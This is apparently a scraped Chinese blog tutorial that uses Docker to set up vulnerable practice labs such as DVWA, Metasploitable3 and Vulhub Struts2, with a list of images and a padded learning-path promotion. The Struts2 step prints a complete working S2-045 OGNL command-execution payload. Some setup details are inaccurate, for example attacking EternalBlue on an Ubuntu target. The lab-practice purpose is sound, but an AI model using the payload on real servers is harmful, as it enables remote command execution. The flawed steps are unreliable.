news 2026/7/7 11:11:23

Docker 搭建漏洞环境:转行网络安全高效练手的方法(附镜像清单)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Docker 搭建漏洞环境:转行网络安全高效练手的方法(附镜像清单)

Docker 搭建漏洞环境:转行网络安全高效练手的方法(附镜像清单)

引言

我转行时搭建 DVWA 靶场,装 LAMP 环境花了 2 天 —— 改配置文件、解决依赖冲突,最后还是报错;后来用 Docker,一条命令就启动了 DVWA,5 分钟搞定。Docker 是 “容器化工具”,能快速部署漏洞环境,不用配置复杂依赖,是网络安全练手的 “效率神器”。本文从 “Docker 安装 - 基础命令 - 漏洞环境搭建” 讲解,附 10 个常用漏洞镜像清单,新手跟着做就能快速练手。

一、先搞懂:Docker 是什么?为什么适合练手?

1. 基本定位

Docker 是 “容器引擎”,能将应用程序和依赖(如 Apache、MySQL、PHP)打包成 “镜像”,通过 “容器” 运行 —— 简单说,镜像就是 “预制好的环境模板”,容器就是 “运行中的环境”,不用手动装依赖,启动镜像就能用。

2. 练手优势(转行生必知)

二、第一步:Docker 安装(以 Windows 10 为例,Mac/Linux 类似)

1. 系统要求
2. Windows 安装步骤
  1. 下载 Docker Desktop:官网(https://www.docker.com/products/docker-desktop/)→“Download for Windows”;

  2. 双击安装包,勾选 “Use WSL 2 instead of Hyper-V”(推荐用 WSL2,更轻量)→“OK”,等待安装完成;

  3. 安装后启动 Docker Desktop,右下角托盘显示 Docker 图标(蓝色鲸鱼),说明启动成功;

  4. 测试:打开 CMD 或 PowerShell,输入docker --version,显示版本信息(如Docker version 25.0.0, build e758fe5),说明安装成功。

3. 新手必做:换国内镜像源(解决 “拉取镜像慢”)

Docker 默认镜像源在国外,拉取慢,换国内源(如阿里云):

  1. 打开 Docker Desktop→“Settings”→“Docker Engine”;

  2. 在 “registry-mirrors” 中添加国内源,如下:

{ "registry-mirrors": [ "https://xxxx.mirror.aliyuncs.com", // 替换为你的阿里云镜像加速地址(阿里云官网可免费申请) "https://hub-mirror.c.163.com", "https://mirror.baidubce.com" ] }
  1. 点击 “Apply & Restart”,重启 Docker 生效。

三、Docker 基础命令(新手必记 10 个)

命令作用示例
docker pull 镜像名:标签拉取镜像(从 Docker Hub 下载)docker pull citizenstig/dvwa(拉取 DVWA 镜像)
docker images查看本地所有镜像显示镜像名、标签、ID、大小
docker run -d -p 本地端口:容器端口 镜像名启动容器(-d 后台运行,-p 端口映射)docker run -d -p 8080:80 citizenstig/dvwa(将容器 80 端口映射到本地 8080 端口)
docker ps查看正在运行的容器显示容器 ID、镜像名、端口映射
docker ps -a查看所有容器(包括停止的)显示已停止的容器
docker stop 容器ID/容器名停止容器docker stop abc123(停止 ID 为 abc123 的容器)
docker start 容器ID/容器名启动已停止的容器docker start abc123
docker rm 容器ID/容器名删除容器(需先停止)docker rm abc123
docker rmi 镜像ID/镜像名删除镜像(需先删除依赖该镜像的容器)docker rmi citizenstig/dvwa
docker exec -it 容器ID/容器名 /bin/bash进入容器命令行(交互模式)docker exec -it abc123 /bin/bash(进入容器,执行 Linux 命令)

四、实战:用 Docker 搭建 5 个常用漏洞环境(新手必练)

1. 环境 1:DVWA(Web 安全入门首选,SQL 注入、XSS 漏洞)
步骤
  1. 拉取镜像:docker pull citizenstig/dvwa;

  2. 启动容器:docker run -d -p 8080:80 citizenstig/dvwa(本地 8080 端口映射容器 80 端口);

  3. 访问:打开浏览器,输入http://localhost:8080;

  4. 登录:默认账号admin,密码password;

  5. 配置:登录后点击 “Create / Reset Database”,创建数据库,即可开始练手(安全级别设为 “Low”)。

2. 环境 2:Metasploitable3(漏洞集合,适合渗透测试练手)
步骤
  1. 拉取镜像(需先装 git):git clone https://github.com/rapid7/metasploitable3.git;

  2. 进入目录:cd metasploitable3;

  3. 启动容器(Windows 用 PowerShell):.\build.ps1(自动拉取镜像并启动,约 10-20 分钟);

  4. 查看容器:docker ps,找到metasploitable3-ub1404(Ubuntu 14.04 漏洞环境),记录 IP(如 172.17.0.2);

  5. 练手:用 Kali 的 Metasploit 攻击该 IP(如攻击永恒之蓝漏洞)。

3. 环境 3:Vulhub(漏洞集合,支持多漏洞场景)
步骤
  1. 拉取镜像(以 “Apache Struts2 S2-045 漏洞” 为例):docker pull vulhub/struts2:2.3.32;

  2. 启动容器:docker run -d -p 8081:8080 vulhub/struts2:2.3.32(本地 8081 端口映射容器 8080 端口);

  3. 访问:http://localhost:8081,看到 Struts2 页面说明启动成功;

  4. 练手:用 Burp Suite 发送漏洞利用 payload,执行命令(如%{(#_=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())})。

4. 环境 4:OWASP ZAP(Web 漏洞扫描工具,Docker 版免安装)
步骤
  1. 拉取镜像:docker pull owasp/zap2docker-stable;

  2. 启动容器:docker run -d -p 8082:8080 owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080 -config api.key=123456(api.key 用于访问 API);

  3. 访问:http://localhost:8082,进入 ZAP 界面,可进行漏洞扫描练手。

5. 环境 5:ELK Stack(日志分析环境,安全运维练手)
步骤
  1. 拉取镜像(需 docker-compose,先装 docker-compose):git clone https://github.com/deviantony/docker-elk.git;

  2. 进入目录:cd docker-elk;

  3. 启动容器:docker-compose up -d(自动启动 Elasticsearch、Logstash、Kibana);

  4. 访问 Kibana:http://localhost:5601,进入日志分析界面,可上传日志练手。

五、转行必备:10 个常用漏洞镜像清单(附用途)

镜像名用途练手重点
citizenstig/dvwaWeb 漏洞入门(SQL 注入、XSS、文件上传)手动注入、Burp 抓包改包
rapid7/metasploitable3渗透测试综合练手(系统漏洞、Web 漏洞)Metasploit 漏洞利用
vulhub/struts2:2.3.32Apache Struts2 漏洞(S2-045 等)命令执行漏洞利用
vulhub/log4j:2.14.1Log4j2 漏洞(CVE-2021-44228)JNDI 注入漏洞利用
owasp/zap2docker-stableWeb 漏洞扫描工具自动化扫描、漏洞验证
elasticsearch:7.14.0Elasticsearch 漏洞(如未授权访问)未授权访问、数据泄露测试
mysql:5.7MySQL 漏洞(如弱密码、未授权访问)暴力破解、SQL 注入
redis:5.0Redis 漏洞(如未授权访问、主从复制漏洞)未授权访问、写入公钥
nginx:1.18.0Nginx 漏洞(如解析漏洞、目录遍历)解析漏洞利用、文件读取
node:14.17.0Node.js 漏洞(如命令注入、路径遍历)命令执行、文件上传

六、转行应用:简历怎么写 Docker 技能?

总结

Docker 入门的核心是 “安装 - 拉镜像 - 启容器 - 练手”,新手不用学复杂的容器编排(如 docker-compose 进阶),先掌握基础命令和 5 个常用漏洞环境的搭建,就能高效积累实战经验,为转行网络安全打基础。评论区说说你想搭建的漏洞环境,帮你出步骤!

网络安全学习路线&学习资源

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

【“脚本小子”成长进阶资源领取】

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

网络安全学习路线&学习资源

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 20:17:05

ImmortalWrt中Argon主题显示异常的终极解决方案

ImmortalWrt中Argon主题显示异常的终极解决方案 【免费下载链接】luci-theme-argon Argon is a clean and tidy OpenWrt LuCI theme that allows users to customize their login interface with images or videos. It also supports automatic and manual switching between l…

作者头像 李华
网站建设 2026/7/7 9:37:43

快速掌握LiteLoaderQQNT插件开发:从零打造个性化主题

快速掌握LiteLoaderQQNT插件开发:从零打造个性化主题 【免费下载链接】LiteLoaderQQNT LiteLoaderQQNT - QQNT的插件加载器,允许用户为QQNT添加各种插件以扩展功能,如美化主题。 项目地址: https://gitcode.com/gh_mirrors/li/LiteLoaderQQ…

作者头像 李华
网站建设 2026/7/7 20:17:29

yolov11虽火,但大模型推理更需vLLM这类加速引擎

vLLM:大模型推理的真正加速器,远不止一个“更快的框架” 在AI应用如火如荼的今天,我们常听到某个新模型“爆火”——比如YOLOv11在边缘视觉任务中表现抢眼,轻量高效、部署简单。但如果你真正参与过大模型服务的落地,就…

作者头像 李华
网站建设 2026/7/7 18:01:51

Dify条件分支控制:根据情绪标签切换ACE-Step生成风格

Dify条件分支控制:根据情绪标签切换ACE-Step生成风格 在短视频、游戏和互动媒体内容爆炸式增长的今天,背景音乐(BGM)不再只是“配角”——它直接影响用户的情绪体验与沉浸感。然而,传统AI音乐生成系统往往面临一个尴尬…

作者头像 李华